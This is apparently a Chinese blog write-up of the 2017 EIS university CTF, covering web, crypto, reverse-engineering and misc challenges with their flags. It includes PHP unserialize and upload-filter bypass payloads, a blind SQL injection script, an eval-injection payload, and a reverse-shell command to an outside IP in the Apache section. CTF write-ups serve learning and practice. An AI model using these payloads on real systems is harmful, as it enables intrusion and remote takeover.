2017EIS CTFwriteup

时间:2021-10-28 06:27:57

EIS2017也就是2017年高校网络信息安全管理 运维挑战赛,全国一百多所高校参赛,侥幸拿了个地区三等奖,
事先不知道理论赛占分比,不然就会是二等奖(吐槽),生活没有如果,下次努力吧。

比赛已经结束大概两周了,直到前几天奖杯到了才想起来写下吧,结果拖延到今天。写下来方便以后查看。

总体来说比赛题目不是太难,刚开始的题目都被各位表哥都给秒了。下面就看一下吧。

一、签到题

一个二维码,直接扫下就出来了flag(EIS{2a051b6c88b5a1211655d110259196b8}

二、PHP代码审计

说了简单的代码审计,打开就是源码,没有其他过多的套路。

这个题目以前是做过的,先引入flag1.php文件代码,然后通过get方式传递 args变量才能执行if里面的代码,正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成,这里才是关键eval("var_dump($$args);");百度一下可以知道是可变变量,只需给变量传一个全局数组变量就好了 所以我们构造 args=GLOBALS。链接(http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php?args=GLOBALS),截图如下

2017EIS  CTFwriteup

三、随机数

打开让填随机数,运气哪有那么好?发现规律是都是三位数字,没有超过1000,干脆爆破,其实也不用写什么脚本,burpsuite就好,抓包,爆破100--999

2017EIS  CTFwriteup2017EIS  CTFwriteup

四、快速计算

算术题,人哪能算那么快,写个脚本吧

import requests

from bs4 import BeautifulSoup

url1 = "http://202.120.7.220:2333/"

url2 = "http://202.120.7.220:2333/index.php"

requ = requests.get(url1)

requ = requ.content

Soup = BeautifulSoup(requ,'lxml')

list = Soup.find('form')

result = eval(list.text[13:-1])

print(result)

post = requests.post(url2,data = {'v' : result})

print(post.text)

截图如下flag(EIS{sdf4we5554})

2017EIS  CTFwriteup

五、PHP是最好的语言

首先打开啥都没有,扫下,发现(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak),bak文件泄露,下载,看到源码,感觉很熟悉,用的是PHP的函数漏洞,找了篇相关的题目(http://www.mamicode.com/info-detail-1458817.html),然后自己构造了payload如下(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php

?foo=a:2:{s:6:"param1";s:5:"2018e";s:6:"param2";a:5:{i:0;a:1:{i:0;i:1;}i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:0;}}

&egg[0]=%00MyAns

&egg[1][]=1111)

2017EIS  CTFwriteup

六、php trick

打开查看源代码,看到源码,简单的看下就知道是变量覆盖,GET提交,然后绕过验证的问题,因此直接构造payload:/index.php?flag=&gift=

这里注意下,没有index.php的话是不出flag的,看到假flag后然后进行移位就可以看到真flag。(EIS{jbfuvsynt})

2017EIS  CTFwriteup2017EIS  CTFwriteup

七、不是管理员也能登陆

Php弱类型,反序列化

让看说明与帮助,那就点开看看呗,看到了部分代码

$test=$_GET['userid']; $test=md5($test); <br>   if($test != '0'){ <br>       $this->error('用户名有误,请阅读说明与帮助!');

$pwd =$this->_post("password");$data_u = unserialize($pwd);if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')    {      print_r($flag);    }

上述代码可以知道,userid用MD5  0e就可以进行绕过,这里选个值吧s155964671a,password是反序列化,所以构造payload:a:2:{s:4:"name";b:1;s:3:"pwd";b:1;}

在首页进行输入就得到flag

2017EIS  CTFwriteup

八、文件上传

这个题被队伍的一个老哥拿了一血,上传的时候检测关键字,这个时候需要绕过,burpsuite抓包,更容易分析点。

可以用数组绕过,并且把关键字给分开进行提交,这样就可以进行上传,可以这样构造payload:ext=php&content[]=<?p&content[]=hp%0aphpinfo();

这样会上传成功,得到路径,打开即可得到flag

2017EIS  CTFwriteup

九、Login

只有一个登陆框,套路肯定是注入了,SQL盲注,位异或,别的运算符和函数都被禁了,直接上脚本

import requests

def getlen(url):

i=1;

while 1:

payload={'uname':"1'^(length(pwd)=%d)^'0"%(i),'pwd':'123456'}

#print payload

reponse=requests.post(url,payload)

text=reponse.content

#print text

if text.find("password error!")!=-1:

break

else:

i=i+1

return i

def getpwd(url,len,list):

ch=""

for i in range(1,len+1):

for c in list:

payload={'uname':"1'^(left(pwd,%d)='%s')^'0"%(i,ch+c),'pwd':'123456'}

reponse=requests.post(url,payload)

#print payload

text=reponse.content

if text.find("password error!")!=-1:

ch=ch+c

print ch

break

else:

pass

if __name__=='__main__':

list=[]

for i in range(10):

list.append(str(i))

for i in range(65,91):

list.append(chr(i))

for i in range(97,123):

list.append(chr(i))

url="http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"

len=getlen(url)

print len

getpwd(url,len,list)

跑出来密码,然后账号admin,加上刚刚跑出的密码登陆就可得到flag。

2017EIS  CTFwriteup2017EIS  CTFwriteup

十、隐藏在黑夜里的秘密

下载下来一个zip压缩包,是个伪加密,打开winhex,搜索所有的504B

然后把后面1400 后的全改成0000 然后密码就没了,提取出来图片即flag

2017EIS  CTFwriteup

十一、easy crypho

下面的是队友写的了。解密题目,对着给出的代码走一遍就能写出来。下载下来压缩包,两个txt文件,对应着可以写出python脚本。

得到flag:EIS{55a0a84f86a6ad40006f014619577ad3}

2017EIS  CTFwriteup2017EIS  CTFwriteup

十二、igniteMe

逆向题,队友写的,ida打开,找到关键关键位置,分析应用将输入字符串转为HEX,经过一系列转化之后和一个数组进行比较,步骤看脚本:

2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup

十三、Reverseme

逆向题,ida打开,找到关键关键位置,流程和上一道题一样,队友直接扔脚本,我也很无奈。

2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup

十四、Flagapp

唉,好气都是队友做的,他说发现apk一个文件头部有一点点的小问题,修补dex后签名得到正确apk。逆向解包出两个.so文件。用ida打开其中一个,发现密码就是flag,根据代码生成密码得到输出。

2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup2017EIS  CTFwriteup

反正我是一愣一愣的,结果输出来,好像flag还有点错误,把最后一位改成了大括号,稍微改了一下就出来了flag。

------------------------------------------------------------------------------下面是没有做出来的,给出别人的解题步骤------------------------------------------------------------------------------

十五、Apache

Hacklu原题

通过__libc_start_main劫持strlen函数来安装后门,满足条件的payload可以被system执行,最后首先发送一个正常的get请求,再发送/index.html?eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=bash_-c_‘bash_-i_>&_/dev/tcp/202.112.50.114/5555_0>&1’获得一个reverse shell,直接cat flag.txt即可。

URL 中需有 ‘dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp’ or ‘eqeqeqbnbnbnbnbkwkwkwkwhththththqeq’,后⾯面跟命令即可,其中下划线会被替换为空格。

十六、SimpleCMS

参考链接http://www.blogsir.com.cn/safe/471.html

十七、DNS001

参考链接http://www.blogsir.com.cn/safe/465.html

十八、验证码

本题逻辑十分简单,请求服务器器⼀个验证码,服务器器返回字符画。请求结果,服务端校验结果。有⼀个隐藏的 help 指令,可以 reconnect,问题在于如何指定 reconnect 的服务器,将发给 ws 服务的 json 中的值依次替换成 [] 可以通过报错信息推断后端逻辑,得到 method 会被带⼊入到 getattr 中,那么必须得是⼀一个类中规定好的⽅方 法才能够带⼊入进来,可行的操作并不不多,测试了__init__ 函数,根据错误信息发现可以带⼊两个参数, 因此发包如下

{“method”:”init”,”args”:[ip,port]}

接着调⽤用 reconnect

{“method”:”reconnect”}

此时服务器器上监听的端⼝口已收到信息。

我们继续请求新的验证码,发现服务端向我们请求⼀一个操作符,操作数由服务端⽣生成好了了,因此猜测整个表达式被带⼊入到 eval 中得到返回值,再给客户校验计算结果。那么答案也就显⽽易见了。我们将给客户的操作符定 义为

+__import__('os').system('python\x20/tmp/melody.py')+

那么被带⼊入到后端就会变成

eval("1+__import__('os').system('python\x20/tmp/melody.py')+2")

我们的代码就得到执⾏行行了了,尝试后成功反弹 shell。 最后在 arifmetics.py 中找到 flag。

cat ar*
import asyncio
from hashlib import md5
from random import choice, randint
from threading import Thread SALT = b"EIS{87a5d7e4aae098be036d6b8035e4}

以上就是2017年高校网络信息安全管理 运维挑战赛的18个比赛题目的writeup。记录一下,相互学习。

任重而道远!

本文链接(http://www.cnblogs.com/Oran9e/p/7860074.html),转载请注明。

相关文章